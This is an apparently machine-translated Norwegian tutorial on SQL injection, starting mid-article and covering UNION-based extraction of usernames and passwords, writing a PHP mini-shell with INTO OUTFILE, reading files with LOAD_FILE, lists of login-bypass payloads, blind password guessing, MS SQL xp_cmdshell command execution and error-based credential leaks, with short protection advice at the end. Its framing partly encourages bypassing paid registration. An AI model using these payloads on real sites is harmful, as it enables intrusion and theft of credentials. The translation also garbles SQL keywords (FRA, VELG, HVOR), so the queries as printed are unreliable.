Med denne handlingen bestemte vi hvilke kolonner som vises på siden. Nå, for å erstatte disse numrene med nødvendig informasjon, må du fortsette forespørselen.

Datautgang

La oss si at vi vet at bordet fortsatt eksisterer brukere der feltene finnes id, Navn Og sende.
Vi trenger å få informasjon om brukeren med ID=1

La oss derfor bygge følgende spørring:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FRA brukere WHERE id=1
Skriptet fortsetter også å sendes ut

For å gjøre dette vil vi erstatte navnene på feltene i stedet for tallene 1 og 3

Sqlinj/index1.php?id=-1 UNION SELECT navn,2,pass,4,5 FRA brukere WHERE id=1
Vi fikk det vi trengte!

For "string input parameter" som i script index2.php du må legge til et anførselstegn i begynnelsen og et kommentartegn på slutten. Eksempel:
sqlinj/index2.php?user=-1" UNION SELECT navn,2,pass,4,5 FRA brukere WHERE id=1 --%20

Les/skriv filer

For å lese og skrive filer må databasebrukeren ha FILE_PRIV-rettigheter.
Opptak av filer
Faktisk er alt veldig enkelt. For å skrive en fil bruker vi funksjonen UTFIL.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Flott, filen er registrert hos oss. Dermed kan vi fylle mini-skallet:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 I UTFIL "1.php" --%20
Leser filer
Å lese filer er enda enklere enn å skrive. Det er nok å bare bruke funksjonen LOAD_FILE, for stedet for feltet vi velger:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Dermed har vi lest den forrige skrevne filen.

Metoder for beskyttelse

Å beskytte deg selv er enda enklere enn å utnytte en sårbarhet. Bare filtrer dataene. Hvis du sender tall, bruk
$id = (int) $_GET["id"];
Som brukeren malroc foreslo. Beskytt deg selv ved å bruke PUD eller utarbeidede erklæringer.

I stedet for å fullføre

Det er her jeg vil avslutte min første del om "SQL-injeksjon for nybegynnere". I det andre skal vi se på mer alvorlige eksempler på injeksjoner. Prøv å skrive sårbare skript og utføre spørringer selv.
Og husk, ikke stol på noen brukere av nettstedet ditt.

Tags: Legg til tagger

SQL-injeksjon en ganske god mulighet for en hacker å få
tilgang til serveren. Og med litt innsats, han
får det fortsatt :)

Koder inni

I dag støttes arbeid med databaser
nesten alle programmeringsspråk, disse inkluderer BASIC, C++, Java, PERL, PHP, Assembler og til og med JavaScript! Og disse programmene kalles ikke annet enn DBMS - databasestyringssystemer. Databaser brukes ofte til å løse økonomiske problemer,
regnskap, personalorganisasjon, men de har også funnet sin applikasjon på Internett.

Databaser brukes ofte til å skrive WEB-applikasjoner. Bruken deres er mest hensiktsmessig for lagring av brukerregistreringsdata, øktidentifikatorer, organisering av søk, samt andre oppgaver som krever mer behandling
mengde data. For å få tilgang til databasen brukes serverteknologier: PHP, PERL, ASP, etc. Det er her moroa begynner. Når du er på serveren
alle patcher er installert og brannmuren blokkerer alle porter unntatt port 80, eller når autentisering kreves for å få tilgang til noen data, kan en hacker bruke SQL Injection for å hacke. Essensen av dette angrepet er å utnytte en feil i skjæringspunktet mellom WEB-teknologier og SQL. Faktum er at mange nettsider for behandling av brukerdata utgjør en spesiell SQL databaseforespørsel. Uforsiktig bruk av denne teknikken kan føre til ganske interessante resultater...

SQL-injeksjon

For å forklare angrepet, la oss forestille oss at du gikk til siden for å laste ned et veldig viktig verktøy og la med gru merke at bare en registrert bruker kan gjøre dette, og registrering koster selvfølgelig penger 🙂 Du vil ikke gi bort din sist opptjente penger, men du kan ikke gjøre det uten programmet! Det er på tide å huske hvordan
tilgang til databaser SQL. For eksempel kan sjekking av påloggingsinformasjon og passord i PHP se slik ut:

$result=mysql_db_query($db,"SELECT * FRA $table WHERE user="$login" OG
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($antall_rows!=0)
{
// AUTENTISERING OK
}
ellers
{
// GODKJENNINGSFEIL
}

Jeg la til to kommentarer, "AUTENTISERING OK" - jeg burde erstatte den
gå til koden som vil bli utført hvis passordet og påloggingen er riktig. En annen "autentiseringsfeil" er et sted hvor koden som vil bli utført hvis de er feil vil bli beskrevet. Hvis du fyller ut skjemaet, vil forespørselen se ut som "http://www.server.com?login=user&password=31337", der www.server.com er navnet
serveren vi prøver å koble til. Vi fant det vi lette etter, og derfor skal vi tilbake på jobb igjen SQL. Så hvis du må spesifisere en pålogging og passord for autorisasjon, vil den genererte SQL forespørselen vil se slik ut:

VELG * FRA brukere HVOR login="bruker" OG
passord="31337"

Dette betyr noe sånt som dette: returner til meg alle poster fra brukerdatabasen hvis pålogging er "bruker" og passord er "31337". Hvis en slik post eksisterer, er brukeren registrert, men hvis ikke, så ikke... Men under visse omstendigheter kan alt rettes. Dette refererer til situasjonen når applikasjonen ikke sjekker innholdet i de overførte dataene eller ikke sjekker det fullstendig for tilstedeværelse SQL bruksanvisning. I dette eksemplet er to felt pålogging og passord sjekket, men hvis du angir "31337′ AND email=" som passord [e-postbeskyttet]"(uten doble anførselstegn), så vil spørringen bli litt annerledes:

VELG * FRA brukere WHERE login="bruker" OG passord="31337" OG
email=" [e-postbeskyttet]"

Og hvis e-postfeltet eksisterer, vil også denne betingelsen bli sjekket. Hvis du husker det grunnleggende om boolsk algebra, kommer det til deg at i tillegg til "og"-operasjonen, er det også et "eller", og siden bruken deres støttes av SQL, kan du
på den beskrevne måten, legg til en betingelse som alltid returnerer sann. For å gjøre dette må du spesifisere "bruker" ELLER 1=1—" som pålogging, i så fall vil forespørselen ha formen:

VELG * FRA brukere HVOR login="bruker" ELLER 1=1--" OG
passord="31337"

Først bør du vite at «—» betyr slutten på forespørselen, og alt etter «—»
vil ikke bli behandlet! Det viser seg at vi har stilt en forespørsel:

VELG * FRA brukere WHERE login="bruker" ELLER 1=1

Som du kan se, la vi til betingelsen "1=1", som betyr at bekreftelseskriteriet vil være "hvis påloggingen er 'bruker' eller 1=1", men 1 er alltid lik 1 (det eneste unntaket kan være Dani Shepovalovs aritmetikk :)). For å teste våre mistanker
Skriv inn "http://www.server.com?login=user or 1=1—&password=31337" i adressefeltet. Dette fører til at det ikke spiller noen rolle hvilken pålogging vi spesifiserte, men
spesielt passordet! Og vi er i matrisen... å, i systemet og kan rolig laste ned det vi trenger.

Men alt dette er i teorien. I praksis vet vi ikke hvordan forespørselen er dannet, hvilke data som overføres og i hvilken rekkefølge. Derfor er det nødvendig å spesifisere "bruker" ELLER 1=1—" for alle felt. Du bør også sjekke innsendingsskjemaet for skjulte felt. I HTML beskrives de som " " Hvis noen finnes, lagre siden og endre verdiene til disse feltene. Verdiene i dem glemmes ofte å bli sjekket for tilstedeværelsen av SQL-setninger. Men for at alt skal fungere, bør du spesifisere hele banen til skriptet som behandler denne forespørselen i skjemaet (taggen "FORM") for parameteren "ACTION".

Men det er ikke alltid kjent hvordan forespørselen dannes,
Det forrige eksemplet kan dannes på følgende måter:

VELG * FRA brukere WHERE (login="bruker" OG passord="31337")
VELG * FRA brukere WHERE login="bruker" OG passord="31337"
VELG * FRA brukere WHERE login=bruker OG passord=31337

I dette tilfellet kan du prøve følgende alternativer:

‘ELLER 1=1—
» ELLER 1=1—
ELLER 1=1—
‘ ELLER ‘a’=’a
"ELLER "a"="a
‘) ELLER (‘a’=’a
ELLER '1'='1'

Alt avhenger av formålet med skriptet og på programmereren. Siden hver person har en tendens til å gjøre alt på sin egen måte, er det ganske mulig at programmereren ikke vil velge det enkleste alternativet. Derfor bør du ikke umiddelbart
gi opp hvis du blir avvist. Nødvendig
prøv så mange alternativer som mulig...

Passordgjenkjenning

Å omgå autorisasjon er ikke dårlig, men svært ofte lukkes hullet du bruker, og alt som var tilgjengelig for deg går tapt.
Dette er å forvente hvis programmereren ikke er en tosk
Over tid vil den tette alle smutthullene. Du kan enkelt bli kvitt slike situasjoner ved å ta vare på det på forhånd. Den riktige løsningen kan være å gjette passordet ved hjelp av
analyse av autentiseringsresultater. Først, la oss prøve å gjette passordet, for å gjøre dette, skriv inn plasseringen:

'ELLER passord>'a

Hvis vi blir fortalt at autorisasjonen er bestått, så passordet
begynner ikke med bokstaven "a", men med en av de følgende på listen. La oss gå videre og erstatte
plasser "a", neste "b", "c", "d", "e"... osv. til de forteller oss at passordet ikke er riktig. La denne prosessen stoppe ved symbolet "x", i så fall opprettes to alternativer for utvikling av situasjonen: passordet er funnet eller passordet starter med dette symbolet. For å sjekke det første alternativet, skriv passordplasseringen:

‘ELLER passord=’x

og hvis passordet er akseptert og du får lov til å komme inn, har du gjettet passordet! Vel, nei, da bør du velge det andre tegnet,
akkurat det samme fra begynnelsen. Se etter to tegn
trenger det samme. Til slutt vil du motta et passord, og du vil se etter en pålogging på samme måte :)
Hvis det funnet passordet og påloggingen ikke passer deg, kan du finne andre. For å gjøre dette, må du begynne å sjekke fra det siste tegnet i passordet som ble funnet. Så hvis passordet var "xxx", er det nødvendig å sjekke eksistensen av passordet
"xxxy":

‘ELLER passord=’xxx

for ikke å gå glipp av mer enn ett alternativ!

MS SQL Server

MS SQL Server er generelt en gave hvis den nødvendige filtreringen mangler. Ved å bruke SQL Injection-sårbarheten kan du kjøre
kommandoer på den eksterne serveren ved å bruke exec master..xp_cmdshell. Men å bruke dette designet
SELECT-operasjonen må fullføres. I SQL er setninger atskilt med semikolon. Derfor, for å koble til noen IP via Telnet, må du skrive inn passordet/påloggingsstedet:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server har flere interessante funksjoner som lar deg finne ut pålogginger og passord som er lagret i databasen. For å gjøre dette blir feilutdata omdirigert til en vilkårlig server og gjennom dem
analyse, kan du finne ut navnet på tabellen, feltene og deres typer. Deretter kan du be om

‘ UNION SELECT TOP 1-pålogging FRA brukere—

(pålogging er navnet på feltet som inneholder påloggingen, og brukere er navnet på tabellen,
semi-vitenskapsmenn i ferd med feilanalyse).

Svaret kan være:


Syntaksfeil ved konvertering av nvarchar-verdien "admin" to a column of data type int. !}
/default.asp, linje 27

Nå vet vi at det er en bruker som heter "admin". Nå kan vi få passordet hans:

‘ UNION SELECT TOP 1-passord FRA brukere der login=’admin’—

Resultat:

Microsoft OLE DB-leverandør for ODBC-drivere feil "80040e07"
Syntaksfeil ved konvertering av nvarchar-verdien "xxx" to a column of data type int. !}
/tedault.asp, linje 27

Nå vet vi at det er en bruker "admin" med passordet "xxx". Med dette kan du trygt
bruk den og logg inn på systemet 😉

Men det er mange andre funksjoner for å jobbe med SQL,
Når du arbeider med en database, kan du også slette data, endre dem, sette inn dine egne og til og med manipulere filer og jobbe med registret.
Generelt gjelder SQL Server :)

Beskyttelse

Men selvfølgelig kan alt dette unngås. For å gjøre dette kan du
bruke filtre,
levert av produsenter. Du kan finne dine egne løsninger, for eksempel å erstatte alle single
doble anførselstegn (hvis for SQL be om at vi bruker enkeltstående), eller omvendt. Du kan bare tillate bruk av bokstaver og s@baki, hvis du trenger å gå inn
epostadresse. Og i pearl er det en fantastisk
funksjonen 🙂 quote() i DBI::DBD-modulen, som gjør søket ditt trygt i forhold til SQL. Det er mange løsninger, du trenger bare dem
dra nytte av. Ellers, hvorfor da alt dette...